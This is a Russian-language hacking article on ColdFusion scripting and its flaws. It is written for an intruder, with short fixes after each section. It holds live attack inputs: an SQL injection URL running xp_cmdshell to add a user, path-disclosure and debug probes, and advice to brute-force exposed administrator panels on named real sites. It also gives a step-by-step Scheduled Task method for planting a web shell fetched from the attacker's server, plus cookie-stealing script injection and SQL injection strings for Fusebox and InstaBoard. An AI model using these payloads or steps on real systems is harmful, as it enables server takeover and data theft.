На главную

Жуки ColdFusion

Основные ошибки программистов в cfm-сценариях

Наши заокеанские друзья не разделяют нашего мнения о бесплатных приложениях и предпочитают платные решения - это в какой-то мере является для них гарантией качественной поддержки. Трудно сказать, виноват ли в этом менталитет, но при выборе платформы для создания серверных web-приложений все больше компаний отдают предпочтение ColdFusion, а не Perl или PHP. Мы с тобой воспримем эту ситуацию как факт и начнем изучать вопрос безопасности: ведь чем чаще встречаются cfm-сценарии, тем важнее для нас понимать, какие изъяны могут встречаться в подобных системах.

[разберемся с основами]

Первым делом нужно разобраться с тем, что же из себя представляет ColdFusion. Это сервер приложений (application server), которому веб-сервер (чаще всего ISS, но встречаются и связки с Apache), отдает на обработку специальные cfm-файлы - происходит это абсолютно аналогично тому, как php-файлы обрабатываются интерпретатором РНР. Файлы .cfm представляют собой код на языке CFML (ColdFusion Markup Language) - языке сервера ColdFusion, который является нестрогим подмножеством XML: все операторы и выражения представляются набором специальных тэгов. По этой причине cfm-сценарии порой выглядят как дизайнерские шаблоны для какой-то template-системы :). Однако такое внешнее сходство обманчиво: ColdFusion предоставляет массу возможностей и по функциональности едва ли уступает любому другому языку сценариев.

Для настройки сервера используется ColdFusion Administrator - специальный web-инструмент, который позволяет через удобные диалоги конфигурировать систему. Более подробно об этом мы поговорим ниже.

А сейчас давай пройдемся по языку, чтобы у тебя не возникало элементарных вопросов. Прежде всего нужно уяснить тот факт, что все CFML-тэги начинаются с префикса cf, после которого идет, собственно, команда. Так, две самые используемые в любом языке команды - присвоение и условие - здесь выглядят так:

<cfif var neq 5> <!--- если var не равняется пяти --->

<cfset var = 5> <!--- установить var=5 --->

</cfif>

Как видно из примера, операторы сравнения напоминают Lisp'овские - EQ (или IS) для равенства, NEQ для неравенства, GT и LT - больше-меньше. Также видно, что комментарии вставляются практически так же, как в HTML, только с каждой стороны - три тире, а не два.

Большинство тэгов имеют соответствующие им закрывающие элементы, как <cfif> (в примере выше). Также тэги могут иметь и атрибуты: скажем, у цикла типа for будет 3-4 атрибута: имя переменной цикла, два атрибута с границами цикла и необязательный атрибут шага:

<cfloop index = "i" from = "1" to = "10" step = "2">

... HTML или CFML код...

</cfloop>

Кроме этого, частью CFML является CFScript - очень смахивающий на JavaScript язык; для его использования достаточно заключить требуемые инструкции в пару тэгов <cfscript></cfscript>. Вот первый пример, написанный на CFScript:

<cfscript>

if (var neq 5)

var = 5;

</cfscript>

Несмотря на то, что все авторы статей и книг по CFML рекомендуют использовать CFScript ввиду его скорости по отношению к тэговому CFML, полевые замеры скорости наталкивают на вывод, что либо это те же яйца, только синтаксис привычнее, либо CFScript рулит только для какого-то узкого круга задач.

В основном, сервер ColdFusion работает под виндами (есть реализации под Solaris, Linux, Cobalt, HP-UX), и ColdFusion умеет работать с реестром, данными виндовой доменной аутентификации, ini-файлами и прочими фишками.

Говорят, что писать на ColdFusion невероятно просто, так как он вмещает в себя огромное количество функций самого различного назначения. Что больше всего радует - наличие удобных функций для работы с массивами, структурами (именованными массивами) и списками. Также впечатляет удобная контекстная справка и несколько других бонусов типа авто-подстановки атрибутов или закрывающего тэга, встроенных в такие редакторы, как HomeSite и ColdFusion Studio.

Далее следует отметить одну особенность работы c CFML. Наряду с другими языками, он поддерживает многократное использование кода, оформленного в виде пользовательской функции, но кроме этого предусмотрен механизм определения собственных тэгов (custom tags): если в функции значения передаются позиционно (скажем, в функции открытия файла первым параметром всегда идет строковое имя файла, а вторым - режим работы), то вызов кастом-тэга строится на именовании параметров-атрибутов - это очень похоже на обычный html-тэг с несколькими атрибутами вроде ширины и цвета, только за поведение такого тэга отвечает программист. В принципе, кастом-тэг - закономерное введение для тэгового языка.

Сталкивался ли ты в РНР с чем-нибудь вроде $$var? Это выражение называется «переменная переменная» (variable variable), то есть результатом следующего кода будет «666»:

$var="foo";

$foo=666;

echo $$var;

Если в РНР этим, похоже, мало кто пользуется, то в ColdFusion такая фишка встречается довольно часто. Для этого имя переменной нужно окружить символами «#» («паунд»). Так, например, у тебя есть десять переменных вида x1, x2,…, x10. Пройтись по ним можно так:

<cfloop index = "i" from = "1" to = "10">

<cfset "x#i#" = "var " & i>

</cfloop>

В принципе, это удобная фича, но если перегнуть палку, то мозг начинает кипеть. Во всяком случае, если в .cfm файле ты хочешь написать html-константу цвета типа "#0000ff", то паунд нужно экранировать - "##0000ff", иначе задолбишься искать ошибку.

Любимый тернарный оператор вида x==y ? «x равен y»: «x не равен y» есть и здесь, только в CFML перед скобками нужно написать «IIF» и не забыть, что оба выходных выражения будут выполнены. Есть одно важное отличие от РНР - вызов непроинициализированной переменной приводит к ошибке. Вот теперь, когда у тебя в голове от всего вышесказанного выстроилась стройная и четкая каша, можно приступить к рассмотрению уязвимостей.

[№1: sql-injection]

Прежде чем разбираться с тем, как в ColdFusion работает sql-injection, нужно уяснить, что для работы с БД используется парный тэг <cfquery>, внутри которого простым текстом вставляется SQL-запрос. Допустим, при запросе страницы www.server.org?ItemID=5 выполняется следующий код:

<cfquery name="qGetItemDetail" datasource="...">

SELECT * FROM Item WHERE ItemID=#URL.ItemID#

</cfquery>

Радуйся, если БД является MSSQL Server: ты раздобыл практически готовый шелл, поскольку стандартная процедура MSSQL xp_cmdshell с радостью исполнит любой твой каприз. То есть после небольшого изменения URL'а на www.server.org?ItemID=5;exec%20master..xp_cmdshell%20"net%20user%20petya%20password%20/add запустится процедура xp_cmdshell и добавит нового юзера.

Как бороться с этим недугом? Очень просто: нужно проверять и экранировать входные данные, использовать своих stored procedures вместо кусков SQL ( «перенос логики на сторону сервера БД» или «создание легкого клиента»), а также использование специального тэга <cfqueryparam>, который позволяет передать в запрос данные, четко указав их тип и максимальную длину.

[№2: прямой вызов темплейтов]

Нельзя сказать, что это будет работать только для ColdFusion'а, и все-таки. Принцип простой - напрямую вызвать скрипт, который обычно сам по себе не вызывается, а имеет какую-то чисто служебную цель; например, есть такая практика в программировании: выносить запросы к базе в отдельные файлы - так почему бы этим не воспользоваться? Трудности две: узнать имя нужного файла и суметь использовать его в своих целях, ведь править код никто не даст. Самым простым решением является изучение готовых проектов и использование найденных багов. Для примера, часто для ColdFusion-проектов используется такая надстройка, как FuseBox, которая за счет хитрого наименования, разбиения и расположения файлов существенно облегчает процесс разработки (хорошая вещь, имеет реализацию для РНР). Исходники общедоступны и ждут твоего анализа. Сложность в том, что сорцы могут быть закодированы такой утилитой, как CFEncode - она идет в стандартной поставке сервера и реализует DES-шифрование. Но курс «Кодирование информации» сейчас идет даже в средней школе, поэтому ниже есть ссылка на исходник проги CFDecode, которую один наш нехороший соотечественник пытается в скомпилированном виде продавать по 18 буказоидов.

Как бороться - запросы и прочие важные файлы рекомендуется выносить в недоступную через браузер папку. Кроме этого, в специальный темплейт application.cfm, который вызывается при запросе любого файла, можно вставить проверку пути к вызываемому файлу.

[№3: получение абсолютного пути]

Считается, что уровень критичности такого недосмотра админа весьма низкий, но хакеру такая инфа может оказаться весьма кстати. Дело в том, что если запросить у сервера, работающего под IIS, файл, состоящий из имени MS-DOS-устройства (NUL, PRN, и др.) и окончания .dbm, то сервер выдаст ошибку с указанием абсолютного пути к искомому файлу, который должен был бы лежать в web root-папке. Для примера, запрос http://national.unitedway.org/nul.dbm вернет страницу с ошибкой, представленной на рисунке 1. Опыт показывает, что часто плохо настроенный сервер ведет себя примерно так же при запросе любой несуществующей страницы, но этот способ использует специфику настройки веб-сервера.

Как бороться? В настройках IIS поставить галочку «Проверка существования файла» для расширений .cfm и .dbm.

Еще есть один вариант получения пути, но он работает только на серверах версий 4.0х, которые уже не пользуются популярностью - сервер кэширует вызываемые страницы, а всю инфу по кэшу складывает в файл cfcache.map в одну папку с вызванным: там находятся имена вызываемых кэш-файлов в понятиях файловой системы сервера. Для примера сделай такой запрос в гугле: inurl:cfcache.map, открой любую ссылку, и ты увидишь что-то вроде этого:

[file.cfm]

Mapping=c:/cfusion/bin/cftags/\CFC197.tmp

SourceTimeStamp=05/18/1999 06:17:00 PM

[№4: доступ к отладочной информации]

Бага не очень страшная, но знать о ней надо. Вообще, за счет установок в ColdFusion Administrator'е, либо после запуска специального тэга в конце .cfm файла может выдаваться отладочная инфа, очень нужная во время разработки: время работы скрипта, GET и POST переменные, а также CGI-переменные (что-то вроде переменных окружения (см. рисунок 2)). Что можно с этого поиметь: абсолютный путь к вызванному файлу в файловой системе веб-сервера, а также имя и версию самого веб-сервера (чаще всего IIS, что косвенно говорит о типе используемой операционки). Чтобы добиться явления такого чуда, попробуй дописать к урлу параметр mode со значением debug, например, так: www.phillipsnizer.com/library/cases/lib_case368.cfm?mode=debug. Как бороться - ввести IP типа 127.0.0.1 в настройках дебага в ColdFusion Administrator.

[№5 ColdFusion Administrator]

Интересная уязвимость, свойственная только ColdFusion, как уже было сказано, тюнинг сервера осуществляется при помощи этой самой web-тулзы. При установке ColdFusion админ заходит туда так: http://127.0.0.1/CFIDE/administrator/index.cfm. Достаточно часто админ забывает отрубить доступ к ColdFusion Administrator'у с IP-адресов, отличающихся от 127.0.0.1, поэтому твоя задача заключается в нахождении ColdFusion-сервака и проверке такого урла: http://server.com/CFIDE/administrator/index.cfm (иногда приходится играться регистром в именах папок - не у всех же винды стоят). В идеале, ты должен получить картинку, похожую на рисунок 3. Плюс в том, что тебе нужен только пароль - логинов тут не предусмотрено, поэтому можно побрутфорсить. Сам пароль вводится во время инсталляции сервера (см. рис. 4).

Быстрая проверка результатов гуглового запроса google filetype:cfm дала пару сайтов, имеющих лопоухих админов - это нью-йоркская публичка (www.nypl.org) и какая-то хом-пага (www.petefreitag.com).

Как бороться - отключить доступ с нелокальных адресов в настройках ColdFusion Administrator и проставить пароль вроде UKO*8fTNDn.

[что это даст]

Тут благосклонный читатель может спросить, а что, мол, я могу поиметь с сервака, если я получил-таки доступ к ColdFusion Administrator'у? А оказывается, что вот здесь начинается самое лакомое: во-первых, если сервак крутится на IIS'е, то с помощью специального Java-апплета на вкладке Server -> Server Settings-> Settings ты можешь смело лазать по дереву файлов на серваке (см. рис. 5), затем установить ссылку Error Template на свой удаленный скрипт и после этого вызвать на сервере несуществующую страницу для запуска своего злокачественного скрипта; во-вторых, есть более универсальный способ сделать бяку - хитрым движением хвоста залить на сервак свой скрипт, то есть фактически сделать себе веб-шелл. Для этого иди на вкладку Server ->Automated Tasks-> Schedule Task, там жми на кнопку Add Scheduled Task. На этой странице введи имя задачи, лучше что-нибудь неприметное для админа (если такое вообще бывает; для примера посмотри на рисунок 6).

Проверь, чтобы поле Operation имело значение HTTPRequest. Затем в поле URL пиши ссылку на свой сценарий, после чего в поле Publish чекни архиважную для нас галочку Save output to a file, и затем укажи путь и имя выходного файла на сервере - путь можно узнать одним из описанных выше способов, а если не вышло, то в другом окне браузера запроси у этого сервера несуществующий файл, а в ColdFusion Administrator'е иди на вкладку Tools-> Logs and Statistics-> Log Files, заходи в webserver.log и смотри, где сервак искал ответ на твой хитрый запрос. После всех этих конвульсий (все должно быть примерно, как на рисунке 7), смело жми кнопку «Submit Changes», а на появившейся странице нажми картинку Go рядом с именем твоей задачи (она в последнем столбце Contols, сверься с картинкой 8). Если все отлично, то на сервере будет создан файл с текстом указанной страницы, на которой, разумеется, находился код простейшего CFML web-шелла и теперь этот файл можно смело вызывать через адресную строку браузера.

[выводы]

Мы с тобой освоили основы создания cfm-сценариев и разобрались с некоторыми проблемами безопасности. На самом деле, если ты наберешь в поиске на SecurityFocus.com ColdFusion, то приятно удивишься количеству появившихся ссылок :). Среди них легко найти как описание багов самого детища Macromedia, так и упоминания об уязвимостях в продуктах, написанных на CFML. Успехов тебе в освоении нового горизонта :)! Будут вопросы - пиши.

cсылки по теме

* www.macromedia.com/software/coldfusion - новинки, документация, «орехи и болты» от производителя.

* www.macromedia.com/cfusion/exchange - подборка готовых приложений, функций, кастом-тэгов.

* www.easycfm.com - документация; можно пользоваться, когда под рукой нет ColdFusion Studio.

* www.brainbench.com - вообще это тест-центр; можно, пройдя тест, получить звание мастера ColdFusion и этот факт освятить в своем резюме (время от времени они делают большинство тестов бесплатными).

* www.fusebox.org - подробно о FuseBox'е.

* cfml.forever.kz - подборка интересных статей по ColdFusion на русском языке.

* http://bigd.kappa.ro/~pdoru/cfm/cfdecrypt.c - исходник CFDecrypt.

* www.securiteam.com/tools/5ZP0B00FPG.html - ColdFusion Web Shell (правда, использованный там <cfexecute> работает только на серваках с Windows NT 4.0 и UNIX).

баги Coldfusion Fusebox V4.1.0

Fusebox - это стандартная для Coldfusion технология построения web-систем, которая подразумевает последовательное подключение и выполнение определенных файлов, в зависимости от управляющего параметра. Что-то вроде того:

<cfswitch expression="#fuseaction#">

<cfcase value= "act1">

<cfinclude template= "login_header.cfm">

...

<cfinclude template= "login_footer.cfm">

</cfcase>

<cfcase value="aсt2">

<cfinclude template= "queryresult.cfm">

</cfcase>

</cfswitch>

Чтобы получить внушительный список сайтов, использующих FuseBox, достаточно набрать в гугле «inurl:.cfm?fuseaction».

В конце этого лета на багтрак-лентах появились сообщения о баге во FuseBox. Элементарных запросом стало возможным увести пользовательские куки и выполнить произвольный код на стороне клиента:

www.site.ru/index.cfm?fuseaction="><script>document.location="http://www.xakep.ru"</script>

Возможно получить доступ к отладочной информации элементарным запросом:

www.site.ru/index.cfm?fuseaction=?

К счастью, не все сайты, использующие FuseBox V4.1.0 уязвимы - на некоторых проектах может быть установлена собственная страница с сообщением об ошибке, где-то будет выполняться на все JS-конструкции. Так, например, возможен вариант, при котором будут работать все запросы, кроме тех, что обращаются к пользовательским кукисам.

В случае, если ты наткнулся на такой ресурс, стоит попробовать еще такой запрос:

www.site.ru/index.cfm?fuseaction=fusebox.overview"><script>alert (document.cookie)</script><

SQL_injection в InstaBoard 1.3

К сожалению, популярных форумов вроде phpBB, написанных на CFM нет. Однако из тех, что я нашел, все оказались бажными :). За примером далеко идти не надо - InstaBoard 1.3 страдает обильными sql-injection уязвимостями:

* www.example.com/instaboard/index.cfm?frmid=1 AND u.userid IN (select userid from users)

* www.example.com/instaboard/index.cfm?frmid=1&tpcid=1 SQL

* www.example.com/instaboard/index.cfm?frmid=1 SQL&tpcid=1

* www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1 SQL&msgid=11

* www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11 SQL

* www.example.com/instaboard/index.cfm?catid=-1 UNION SELECT userid,1,1..., from users

 

(Администратор не несет ответственности (Автор Денис Евгеньевич)